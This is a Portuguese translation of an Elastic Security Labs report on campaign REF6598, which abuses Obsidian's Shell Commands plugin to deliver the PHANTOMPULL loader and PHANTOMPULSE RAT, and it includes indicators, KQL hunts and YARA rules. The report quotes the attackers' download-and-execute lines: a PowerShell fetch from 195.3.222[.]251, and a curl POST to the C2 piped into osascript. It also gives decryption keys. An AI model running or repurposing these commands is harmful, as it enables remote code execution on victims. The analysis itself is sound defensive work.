Fantasma no cofre: Obsidian usado indevidamente para entregar PhantomPulse RAT

Uma publicação subsequente fornecerá uma análise técnica mais aprofundada do próprio PHANTOMPULSE, abordando seus motores de injeção, componentes internos de persistência e o protocolo C2 com maior detalhe.

Preâmbulo

A Elastic Security Labs identificou uma nova campanha de engenharia social que utiliza o popular aplicativo de anotações Obsidian como vetor de acesso inicial. A campanha, que rastreamos como REF6598, tem como alvo indivíduos dos setores financeiro e de criptomoedas por meio de elaborada engenharia social no LinkedIn e no Telegram. Os agentes maliciosos abusam do ecossistema legítimo de plugins da comunidade Obsidian, especificamente os plugins Shell Commands e Hider , para executar código silenciosamente quando uma vítima abre um cofre compartilhado na nuvem.

Na intrusão observada, o Elastic Defend detectou e bloqueou o ataque em estágio inicial, impedindo que os agentes maliciosos atingissem seus objetivos na máquina da vítima.

A cadeia de ataque é multiplataforma, com caminhos de execução dedicados tanto para Windows quanto para macOS. No Windows, um carregador intermediário descriptografa e carrega os dados de forma reflexiva, inteiramente na memória, usando AES-256-CBC, execução de retorno de chamada em fila de temporizadores e múltiplas técnicas anti-análise. A cadeia culmina na implantação de um RAT (Trust de Acesso Remoto) não documentado anteriormente, que denominamos PHANTOMPULSE, um backdoor completo, gerado por IA (Inteligência Artificial) avançada, com resolução de C2 (Comando e Controle) baseada em blockchain e injeção de processos avançada por meio de manipulação de módulos. No macOS, o ataque utiliza um dropper AppleScript ofuscado com um mecanismo de resolução C2 de fallback baseado no Telegram.

Esta publicação detalhará toda a cadeia de ataque, desde a engenharia social até a análise final da carga útil, e fornecerá orientações de detecção e indicadores de comprometimento.

Principais conclusões

• PHANTOMPULSE é um novo RAT para Windows com suporte de IA, que apresenta resolução de C2 baseada em blockchain por meio de dados de transações do Ethereum e técnicas de injeção distintas.
• Identificamos uma fragilidade no mecanismo C2 que permite a tomada de controle dos implantes pelos receptores.
• O Obsidian foi usado indevidamente para ataques de engenharia social de acesso inicial.
• Cadeia de ataque multiplataforma direcionada tanto ao Windows quanto ao macOS
• A carga útil do macOS usa um dropper AppleScript de vários estágios com um dead drop do Telegram como alternativa para resolução de C2.
• PHANTOMPULL é um carregador personalizado em memória que fornece PHANTOMPULSE

Visão geral da campanha

Os agentes maliciosos operam sob o disfarce de uma empresa de capital de risco, iniciando o contato com os alvos por meio do LinkedIn. Após o contato inicial, a conversa migra para um grupo do Telegram onde participam vários supostos parceiros, o que confere credibilidade à interação. A discussão centra-se nos serviços financeiros, especificamente em soluções de liquidez em criptomoedas, criando um contexto de negócios plausível.

O alvo é solicitado a usar o Obsidian, apresentado como o "banco de dados de gestão" da empresa, para acessar um painel de controle compartilhado. O alvo recebe credenciais para se conectar a um cofre hospedado na nuvem e controlado pelo atacante.

Este cofre é o vetor de acesso inicial. Após ser aberto no Obsidian, o dispositivo alvo recebe a instrução de ativar a sincronização de plugins da comunidade. Em seguida, os plugins trojanizados executam silenciosamente a cadeia de ataque.

Acesso inicial

Um alerta de comportamento do Elastic Defend foi acionado devido à execução suspeita do PowerShell com o Obsidian como processo pai. Isso chamou nossa atenção imediatamente. Inicialmente, suspeitamos de um binário não confiável se passando pelo Obsidian. No entanto, após inspecionar a assinatura do código e o hash do processo pai, constatou-se que se tratava do binário legítimo do Obsidian.

Ao analisar a pilha de chamadas de eventos do processo para determinar se um sideload de DLL de terceiros ou uma região de memória não suportada estava envolvida, confirmamos que a criação do processo se originou diretamente do próprio Obsidian.

Em seguida, investigamos os arquivos adjacentes em busca de sinais de injeção de JavaScript por meio da modificação de arquivos de dependência ou arquivos .asar maliciosos. plantio de arquivos. Tudo parecia ser uma instalação limpa e legítima do Obsidian, sem nenhum código de terceiros. Nesse ponto, decidimos instalar o Obsidian nós mesmos e explorar quais opções um invasor poderia usar para obter a execução de comandos.

A primeira coisa que chamou a atenção foi a possibilidade de acessar um cofre sincronizado com o Obsidian usando um e-mail e uma senha.

O recurso de sincronização de cofre do Obsidian permite que notas e arquivos sejam sincronizados entre dispositivos e plataformas. Ao analisar os arquivos do cofre remoto malicioso com a extensão .obsidian Na pasta de configuração, encontramos evidências de que o plugin comunitário Shell Commands havia sido instalado:

C:\Users\user\Documents\<redacted_vault_name>\.obsidian\plugins\obsidian-shellcommands\data.json

O plugin Shell Commands permite que os usuários executem comandos de shell específicos da plataforma com base em gatilhos configuráveis, como inicialização do Obsidian, fechamento, a cada N segundos e outros.

O conteúdo do arquivo data.json confirmou nossa teoria: os comandos configurados correspondiam exatamente ao que havíamos observado no alerta de comportamento original do PowerShell.

Para validar toda a cadeia de ataque, tentamos replicar o comportamento de ponta a ponta em duas máquinas, um host e uma máquina virtual, usando uma licença paga do Obsidian Sync. No host, instalamos o plugin comunitário Shell Commands com um comando personalizado configurado para executar notepad.exe na inicialização. Na máquina virtual, fizemos login na mesma conta do Obsidian e nos conectamos ao cofre remoto.

O cofre sincronizado na VM recebeu os arquivos de configuração base (app.json, appearance.json, core-plugins.json, workspace.json), mas notavelmente o diretório plugins/ e community-plugins.json estavam completamente ausentes. Isso ocorre porque as configurações de sincronização do Obsidian expõem duas opções separadas: "Lista de plugins da comunidade ativos" e "Plugins da comunidade instalados", ambas desativadas por padrão e que são preferências locais do lado do cliente que não são propagadas pela sincronização.

Conforme mostrado abaixo, os manifestos de plugins e community_plugins não são sincronizados automaticamente (qualquer arquivo dentro da pasta .obsidian). diretório).

No entanto, uma vez ativado, o plugin Shell Commands aciona imediatamente a execução de comandos definidos pelo atacante ao abrir o cofre:

Isso significa que um invasor não pode forçar remotamente a instalação ou ativação de um plugin da comunidade apenas por meio da sincronização do cofre. A vítima deve ativar manualmente a sincronização do plugin da comunidade em seu dispositivo antes que a configuração do plugin malicioso seja baixada e acione a execução.

No caso que investigamos, o atacante forneceu as credenciais da conta Obsidian diretamente à vítima como parte de uma estratégia de engenharia social, provavelmente instruindo-a a fazer login, ativar a sincronização do plugin da comunidade e conectar-se ao cofre previamente configurado. Após a conclusão dessas etapas, o plugin Shell Commands e sua configuração data.json foram sincronizados automaticamente e, no próximo gatilho configurado, a carga útil foi executada sem qualquer interação adicional.

Embora esse ataque exija engenharia social para ultrapassar o limite de sincronização do plugin da comunidade, a técnica continua notável: ela abusa de um recurso legítimo do aplicativo como um canal de persistência e execução de comandos, a carga útil reside inteiramente em arquivos de configuração JSON que dificilmente acionarão assinaturas antivírus tradicionais, e a execução é feita por um aplicativo Electron assinado e confiável, tornando a detecção baseada no processo pai a camada crítica.

Além do plugin Shell Commands, o autor utilizou o Hider (v1.6.1), um plugin de limpeza de interface que oculta elementos da interface. Com todas as opções de ocultação ativadas, a configuração é a seguinte:

{
  "hideStatus": true,
  "hideTabs": true,
  "hideScroll": true,
  "hideSidebarButtons": true,
  "hideTooltips": true,
  "hideFileNavButtons": true,
}

cadeia de execução do Windows

Estágio 1

O comando do Windows do plugin Shell Commands continha duas chamadas Invoke-Expression com strings codificadas em Base64 que, decodificadas, resultam no seguinte:

iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "env:TEMP\tt.ps1"

Isso fará o download de um script PowerShell de segundo estágio a partir de um endereço IP predefinido e o executará.

Estágio 2

O script PowerShell baixado (script1.ps1) implementa um mecanismo de entrega de carregador com um sistema de notificação de operador integrado. O script usa BitsTransfer para baixar o binário do próximo estágio e relata seu progresso para o C2.

Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://195.3.222[.]251/syncobs.exe?q=%23OBSIDIAN' `
  -Destination "$env:TEMP\syncobs.exe"

Após o download, o script verifica a existência do arquivo e reporta o resultado para o C2 em 195.3.222[.]251/stuk-phase. Parece que os caracteres adicionados (G, R) à mensagem de status declaram GREEN ou RED como um código de cor de status. A seguir, encontra-se uma tabela com todas as mensagens de status:

O parâmetro tag (Obsidian) enviado com cada atualização de status identifica a campanha ou vetor de infecção, sugerindo que os operadores podem estar executando várias campanhas simultâneas.

if ($started) {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GLAUNCH SUCCESS"; tag = $tag }
} else {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "RLAUNCH FAILED"; tag = $tag }
}
Start-Sleep -Seconds 3

Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GSESSION CLOSED"; tag = $tag }

Carregador - PHANTOMPULL

Este carregador é um executável PE de 64 bits para Windows que extrai um payload PE criptografado com AES-256-CBC de seus próprios recursos, o descriptografa e o carrega reflexivamente na memória. Essa carga útil na memória então baixa o próximo estágio do domínio (panel.fefea22134[.]net) via HTTPS.

A carga útil do terceiro estágio (PHANTOMPULSE) é então descriptografada e carregada reflexivamente via DllRegisterServer. Este carregador, que chamamos de PHANTOMPULL, inclui resolução de API em tempo de execução e execução baseada em fila de temporizadores. Esta amostra inclui formas menores de evasão/ofuscação, juntamente com código morto; essas técnicas são usadas como um truque anti-análise para desperdiçar o tempo do analista na investigação do malware.

Fluxo de execução

Estágio 1

Estágio 2

Verificação de Integridade Falsa

O carregador começa com um início estranho usando uma proteção de código morto que compara GetTickCount() com o valor hexadecimal (0xFFFFFFFE) — um valor que corresponde a aproximadamente 49,7 dias de tempo de atividade contínuo do sistema, tornando a condição virtualmente inatingível. O bloco protegido contém funções anti-adulteração convincentes, porém inacessíveis, projetadas para desperdiçar o tempo dos analistas durante a engenharia reversa.

A função anti_tamper_integrity_checksum() também é bastante estranha; ela não calcula o hash de nenhum dos bytes subjacentes, mas soma todos os endereços de função no binário. O checksum nunca é comparado a nada; isso provavelmente é uma técnica anti-análise intencional para desperdiçar o tempo do analista e inflar o arquivo binário.

Hash de API

Este carregador resolve funções de API dinamicamente em tempo de execução usando o algoritmo de hash djb2 com semente 0x4E67C6A7. As seguintes APIs foram resolvidas:

• VirtualAlloc
• VirtualProtect
• VirtualFree
• LoadLibraryA
• GetProcessAddress

Extração e descriptografia de recursos

O PHANTOMPULL armazena sua carga útil criptografada na memória, dentro de seus próprios recursos.

Para extrair os bytes, ele usa FindResourceA, localizando o tipo de recurso (RT_RCDATA) sob o ID (101). O recurso é mapeado na memória e copiado para uma região marcada com permissões PAGE_READWRITE .

Em seguida, o carregador realiza a descriptografia AES-256-CBC usando BCryptOpenAlgorithmProvider. A chave está codificada na seção .rdata

Chave: 6a85736b64761a8b2aaeadc1c0087e1897d16cc5a9d49c6a6ea1164233bad206

O IV também está codificado na pilha: A6FA4ADFC20E8E6B77E2DD631DC8FF18

Após a descriptografia, o carregador valida se a saída é um PE válido verificando o valor mágico do cabeçalho MZ com uma instrução de comparação usando um valor fixo (0x0C1DF) que é XOR'd com (0x9B92), igualando o cabeçalho mágico PE (0x5a4d). Este é um exemplo de algumas tentativas de ofuscação simples que muitas vezes parecem desajeitadas e fora de contexto.

Execução

Em vez de chamar o payload diretamente (o que é facilmente detectado por sandboxes), o carregador usa um retorno de chamada de fila de temporizador. O atraso de 50ms e a execução em threads separadas podem burlar diversas ferramentas de segurança/sandbox.

Dentro da função de retorno de chamada está a funcionalidade de carregamento reflexivo de PE (Personal Engine), que é então usada para executar a próxima etapa.

Essa função de carregamento reflexivo é o componente central de execução. Ele copia os cabeçalhos PE, mapeia cada seção na memória, aplica realocações de base, resolve importações e define as proteções finais da seção — produzindo um PE totalmente funcional, residente em memória, que nunca acessa o disco.

A execução é então transferida para o segundo estágio por meio de uma instrução call rbp indireta, onde RBP contém o endereço do ponto de entrada calculado do PE carregado reflexivamente.

Segunda etapa

A segunda etapa é responsável por baixar a carga útil hospedada remotamente (PHANTOMPULSE) e por usar uma técnica semelhante de carregamento reflexivo para lançar o implante. Esta etapa começa com a criação de um mutex a partir de uma operação XOR com duas variáveis globais codificadas.

O nome do mutex para esta amostra é: hVNBUORXNiFLhYYh

Após a criação do mutex, este código entra em um loop persistente que tenta baixar o payload do servidor C2. Se o download retornar um buffer válido, ele é interrompido e prossegue para a fase de carregamento reflexivo.

Em caso de falha, o código emprega um recuo exponencial — começando com uma espera de 5 segundos e multiplicando por 1,5x em cada nova tentativa, limitando-se a pouco menos de 5 minutos. Isso evita um intervalo fixo de sinalização que seria facilmente identificado no tráfego de rede.

A funcionalidade de download começa descriptografando o C2 e o URL.

O C2 e o URL são ambos descriptografados usando uma função de descriptografia de string simples usando uma chave rotativa de 16 bytes (f77c8e40dfc17be5e74d8679d5b35341).

Em seguida, o malware constrói a solicitação HTTPS, anexando a string usando o URI /v1/updates/check?build=payloads e definindo o User Agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36). Este carregador usa a biblioteca WinHTTP para se conectar ao C2 na porta 443.

O malware obtém o buffer do URL C2 remoto e descriptografa a carga útil com uma chave XOR de 16 bytes (dcf5a9b27cbeedb769ccc8635d204af9)

Abaixo estão os primeiros bytes da carga útil codificada em XOR:

Abaixo estão os primeiros bytes após a operação XOR:

Após o download e as operações XOR, o PHANTOMPULL analisa a carga útil e reflete a DLL usando DLLRegisterServer.

Ao verificar rapidamente as strings, podemos ver a principal porta dos fundos, PHANTOMPULSE:

RATO - PHANTOMPULSE

PHANTOMPULSE é um RAT sofisticado de 64 bits para Windows, projetado para discrição, resiliência e acesso remoto abrangente. O binário apresenta fortes indicadores de desenvolvimento assistido por IA: as strings de depuração em todo o código são anormalmente verbosas, autodescritivas e seguem um padrão estruturado de numeração de etapas ([STEP 1], [STEP 1/3], [STEP 2/3])

Durante nossa pesquisa, descobrimos que a infraestrutura C2 tinha um painel exposto publicamente com a marca “Phantom Panel", apresentando uma página de login com campos para nome de usuário, senha e captcha. O design e a estrutura do painel sugerem que ele também foi gerado por IA, o que está de acordo com os padrões de desenvolvimento observados no próprio RAT.

Rotação C2 através do blockchain

PHANTOMPULSE implementa um mecanismo de resolução C2 descentralizado usando infraestrutura de blockchain pública como ponto de entrega. O principal método do malware para obter seu URL de comando e controle (C2) é resolvendo-o a partir de dados de transação on-chain. Um URL C2 fixo serve como alternativa caso a resolução do blockchain falhe após repetidas tentativas.

O malware consulta a API compatível com Etherscan (/api?module=account&action=txlist&address=<wallet>&page=1&offset=1&sort=desc) em três instâncias do Blockscout:

• eth.blockscout[.]com (Ethereum L1)
• base.blockscout[.]com (Base L2)
• optimism.blockscout[.]com (Otimismo Nível 2)

Cada solicitação busca a transação mais recente associada a um endereço de carteira codificado (0xc117688c530b660e15085bF3A2B664117d8672aA), que por sua vez é criptografado por XOR no binário. O malware analisa o campo de dados input da transação na resposta JSON, remove o prefixo 0x , decodifica os bytes brutos em hexadecimal e descriptografa o resultado usando o endereço da carteira como chave XOR. Se a saída descriptografada começar com http, ela será aceita como a nova URL C2 ativa.

Essa técnica oferece ao operador uma capacidade de rotação independente da infraestrutura: publicar um novo endpoint C2 requer apenas o envio de uma transação com dados de chamada personalizados para a carteira em qualquer uma das três blockchains monitoradas. Como as transações em blockchain são imutáveis e publicamente acessíveis, o malware sempre pode localizar seu servidor de comando e controle (C2) sem depender de uma infraestrutura centralizada. A utilização de três cadeias independentes adiciona redundância: mesmo que o explorador de uma cadeia esteja bloqueado ou indisponível, as duas restantes fornecem caminhos de resolução alternativos.

No entanto, esse projeto apresenta uma fragilidade significativa. A API Blockscout retorna todas as transações envolvendo o endereço da carteira, tanto enviadas quanto recebidas, classificadas em ordem cronológica inversa. O malware não verifica o remetente da transação. Isso significa que qualquer terceiro que conheça o endereço da carteira e a chave XOR (ambas recuperáveis do binário) pode criar uma transação para a carteira contendo uma carga útil de entrada concorrente. Como o malware sempre seleciona a transação mais recente, uma única transação de entrada com um registro de data e hora mais recente substituiria a URL C2 pretendida pelo operador. Na prática, isso permite que qualquer pessoa sequestre a resolução do C2 enviando uma URL de sinkhole codificada com o mesmo esquema XOR, redirecionando efetivamente todos os hosts infectados para longe da infraestrutura do atacante.

Comunicação C2

PHANTOMPULSE usa WinHTTP para comunicação C2, carregando dinamicamente winhttp.dll e resolvendo todas as funções necessárias em tempo de execução. A infraestrutura C2 é construída em torno de cinco endpoints de API:

O heartbeat envia telemetria completa do sistema em formato JSON, incluindo modelo da CPU, GPU, RAM, versão do SO, nome de usuário, nível de privilégio, IP público, produtos antivírus instalados, aplicativos instalados e os resultados da última execução de comando.

Command table

O despachante de comandos analisa as respostas JSON do C2 para extrair e gerar o hash dos comandos por meio do algoritmo djb2 . Esse hash é processado por uma instrução switch-case para executar a lógica correspondente, conforme mostrado no pseudocódigo abaixo:

cadeia de execução do MacOS

Etapa 1: AppleScript via osascript

O comando macOS do plugin Shell commands executa uma carga útil codificada em Base64 através de osascript.

A carga útil decodificada executa duas ações principais:

Persistência do LaunchAgent: Cria um plist LaunchAgent persistente em ~/Library/LaunchAgents/com.vfrfeufhtjpwgray.plist configurado com KeepAlive e RunAtLoad definidos como true, garantindo que a carga útil do segundo estágio seja executada em cada login e reinicializada se encerrada.

Execução do segundo estágio: O LaunchAgent executa um dropper AppleScript altamente ofuscado através de /bin/bash -c canalizado para osascript.

Etapa 2: Instalador de AppleScript ofuscado

A carga útil da segunda etapa é um dropper AppleScript ofuscado que emprega múltiplas técnicas de evasão.

Ofuscação de strings: Todas as strings sensíveis (domínios, URLs, valores de user-agent) são construídas em tempo de execução usando chamadas ASCII character, character id e string id , impedindo a extração estática de strings:

property __tOlA5QTO5I : {(string id {48, 120, 54, 54, 54, 46, 105, 110, 102, 111})}
-- Decodes to: "0x666.info"

Variáveis de isca: Numerosas variáveis não utilizadas, com nomes e valores aleatórios, são definidas para aumentar a entropia e dificultar a análise.

Concatenação fragmentada: as strings são divididas usando métodos de codificação mistos, combinando fragmentos literais com pesquisas de ID de caracteres para impedir a correspondência de padrões.

Resolução C2 com fallback para Telegram

O dropper implementa uma estratégia de resolução C2 em camadas:

1. Primário: Itera sobre uma lista de domínios predefinida (incluindo 0x666[.]info), enviando uma solicitação POST com corpo "check" para validar a disponibilidade do C2.
2. Recurso alternativo: Se o domínio principal estiver inacessível, busca um canal público do Telegram (t[.]me/ax03bot) para extrair um domínio de backup
   

Essa técnica de entrega automática de mensagens no Telegram permite que os operadores alternem a infraestrutura de comando e controle (C2), tornando o bloqueio baseado em domínio insuficiente como única medida de mitigação.

Recuperação da carga útil

Assim que um C2 for resolvido, o script baixa e envia um payload de segundo estágio diretamente para osascript:

curl -s --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 -X POST <C2_URL> \
  -H "User-Agent: <spoofed Chrome UA>"-d "txid=346272f0582541ae5dd08429bb4dc4ff&bmodule"| osascript

O identificador da vítima (txid) e o seletor do módulo (bmodule) são enviados como parâmetros POST. A resposta esperada é outra carga útil do AppleScript executada imediatamente. No momento da análise, os servidores C2 da cadeia macOS estavam offline, impedindo a coleta das etapas subsequentes.

Análise de infraestrutura

Atividade da carteira

O exame da atividade on-chain da carteira codificada (0xc117688c530b660e15085bF3A2B664117d8672aA) revela o histórico de rotação C2 do operador. As duas transações mais recentes são autotransferências (da carteira para si mesma), cada uma codificando um URL C2 diferente nos dados de entrada da transação:

O uso de um domínio Cloudflare Tunnel (trycloudflare[.]com) como um endpoint C2 anterior é notável, pois permite ao operador expor um servidor local através da infraestrutura do Cloudflare sem registrar um domínio, fornecendo uma camada adicional de anonimato.

A carteira foi inicialmente financiada em 12 fevereiro de 2026, às 21:39:47 UTC por uma conta separada (0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E) com uma transferência de $5,84 e um campo de entrada vazio (0x), confirmando que esta foi puramente uma transação de financiamento. A própria carteira de financiamento realizou aproximadamente 50 transações nos últimos três meses, o que fornece um ponto de virada potencial para descobrir campanhas adicionais operadas pelo mesmo agente de ameaça.

Servidor de preparação de carga útil

O servidor de entrega de carga inicial em 195.3.222[.]251 está hospedado no AS 201814 (MEVSPACE sp. z oo), um provedor de hospedagem polonês.

Painel PhantomPulse C2

O domínio fefea22134[.]net resolve para IPs da Cloudflare (104.21.79[.]142 e 172.67.146[.]15), indicando que o painel C2 está atrás do proxy da Cloudflare. O DNS passivo histórico mostra que o domínio foi resolvido pela primeira vez em 12/03/2026, com resoluções anteriores apontando para IPs diferentes (188.114.97[.]1 e 188.114.96[.]1) em 20/03/2026.

O domínio utiliza um certificado Let's Encrypt, observado pela primeira vez em 12/03/2026:

• Número de série: 5130b76e63cd41f11e6b7c2a77f203f72b4
• Impressão digital: 6c0a1da746438d68f6c4ffbf9a10e873f3cf0499
• Validade: 2026-02-19 to 2026-05-20

A data de emissão do certificado (19 de fevereiro) coincide com a codificação de transação de rotação C2 mais recente do blockchain panel.fefea22134[.]net, sugerindo que a infraestrutura foi provisionada no mesmo dia em que o URL C2 foi publicado na blockchain.

Conclusão

A referência REF6598 demonstra como os agentes maliciosos continuam a encontrar vetores criativos de acesso inicial, abusando de aplicações confiáveis e empregando engenharia social direcionada. Ao abusar do ecossistema de plugins da comunidade da Obsidian em vez de explorar uma vulnerabilidade do software, os atacantes contornam completamente os controles de segurança tradicionais, confiando na funcionalidade pretendida do aplicativo para executar código arbitrário.

Na intrusão observada, o Elastic Defend detectou e bloqueou a cadeia de ataque em um estágio inicial, antes que o PHANTOMPULSE pudesse ser executado, impedindo que o agente da ameaça atingisse seus objetivos. As proteções comportamentais foram acionadas devido à execução anômala do processo originado no Obsidian, interrompendo a entrega da carga útil.

Organizações dos setores financeiro e de criptomoedas devem estar cientes de que ferramentas legítimas de produtividade podem ser transformadas em vetores de ataque. Os responsáveis pelo tratamento de dados devem monitorar a criação anômala de processos filhos a partir de aplicativos como o Obsidian e aplicar políticas de plugins em nível de aplicativo sempre que possível. Os indicadores e a lógica de detecção fornecidos nesta pesquisa podem ser usados para identificar e responder a essa atividade.

A Elastic Security Labs continuará monitorando o REF6598 para novos desenvolvimentos, incluindo payloads adicionais para macOS assim que a infraestrutura de C2 associada estiver ativa.

MITRE ATT&CK

A Elastic usa a estrutura MITRE ATT&CK para documentar táticas, técnicas e procedimentos comuns que ameaças persistentes avançadas usam contra redes corporativas.

Táticas

As táticas representam o porquê de uma técnica ou subtécnica. É o objetivo tático do adversário: a razão para executar uma ação.

• Acesso inicial
• Execução
• Persistência
• Escalação de privilégios
• Defense Evasion
• Coleta
• Descoberta
• Command and Control (Comando e controle)

Técnicas

Técnicas representam como um adversário atinge um objetivo tático executando uma ação.

• Phishing: Spearphishing via serviço
• User Execution: Malicious File
• Interpretador de comando e script: PowerShell
• Interpretador de comandos e scripts: AppleScript
• Deobfuscate/Decode Files or Information
• Carregamento de código reflexivo
• Evasão de Virtualização/Sandbox: Evasão Baseada em Tempo
• Injeção de processo
• Tarefa/trabalho agendado: Tarefa agendada
• Execução automática de inicialização ou logon: Modificação do arquivo Plist
• Captura de entrada: Keylogging
• Captura de tela
• Descoberta de informações do sistema
• Mecanismo de Controle de Elevação Abusivo: Ignorar UAC

Detecção de REF6598

Detecção

As seguintes regras de detecção e eventos de prevenção de comportamento foram observados durante a análise deste conjunto de intrusão:

• Argumentos suspeitos do Windows PowerShell

Prevenção

• Suspicious PowerShell Execution (execução suspeita do PowerShell)
• Módulo de rede carregado de memória suspeita sem backup
• Execução de strings codificadas em Base64 via Osascript

Consultas de caça no Elastic

Essas consultas de busca são usadas para identificar a presença do plugin de comando do shell da comunidade Obsidian, bem como a execução de comandos resultante:

KQL

event.category : file and process.name : (Obsidian or Obsidian.exe) and
 file.path : *obsidian-shellcommands*

event.category : process and event.type : start and
 process.name : (sh or bash or zsh or powershell.exe or cmd.exe) and 
 process.parent.name : (Obsidian.exe or Obsidian)

YARA

A Elastic Security criou regras YARA para identificar essa atividade. Abaixo estão as regras YARA para identificar o PHANTOMPULL e o PHANTOMPULSE.

rule Windows_Trojan_PhantomPull {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPull"
        threat_name = "Windows.Trojan.PhantomPull"
        reference_sample = "70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980"

    strings:
        $GetTickCount = { 48 83 C4 80 FF 15 ?? ?? ?? ?? 83 F8 FE 75 }
        $djb2 = { 45 8B 0C 83 41 BA A7 C6 67 4E 49 01 C9 45 8A 01 }
        $mutex = { 48 89 EB 83 E3 ?? 45 8A 2C 1C 45 32 2C 2E 45 0F B6 FD }
        $str_decrypt = { 39 C2 7E ?? 49 89 C1 41 83 E1 ?? 47 8A 1C 0A 44 32 1C 01 45 88 1C 00 48 FF C0 }
        $payload_decrypt = { 4C 89 C8 83 E0 0F 41 8A 14 02 43 30 14 0F 49 FF C1 44 39 CB }
        $url = "/v1/updates/check?build=payloads" ascii fullword
    condition:
        3 of them
}

rule Windows_Trojan_PhantomPulse {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPulse"
        threat_name = "Windows.Trojan.PhantomPulse"
        reference_sample = "9e3890d43366faec26523edaf91712640056ea2481cdefe2f5dfa6b2b642085d"

    strings:
        $a = "[UNINSTALL 2/6] Removing Scheduled Task..." fullword
        $b = "PhantomInject: host PID=%lu" fullword
        $c = "inject: shellcode detected -> InjectShellcodePhantom" fullword
        $d = "inject: shellcode detected, using phantom section hijack" fullword
    condition:
        all of them
}

Observações

Os seguintes observáveis foram discutidos nesta pesquisa.